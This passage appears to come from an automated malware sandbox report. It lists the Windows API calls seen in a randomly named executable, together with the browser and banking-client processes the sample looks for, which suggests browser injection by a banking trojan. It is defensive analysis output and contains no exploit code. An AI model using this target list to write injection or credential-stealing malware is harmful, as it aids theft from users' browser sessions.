nformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe	6_2_01255890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	6_2_01256370
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	6_2_01256370
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	6_2_01256370
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	6_2_01243510
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	6_2_01243510
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	6_2_01243510
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe	7_2_01055890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe	7_2_01055890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe	7_2_01055890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe	7_2_01055890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe	7_2_01055890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe	7_2_01055890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	7_2_01056370
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	7_2_01056370
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	7_2_01056370
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	7_2_01043510
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	7_2_01043510
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	7_2_01043510
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe	9_2_00A35890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe	9_2_00A35890
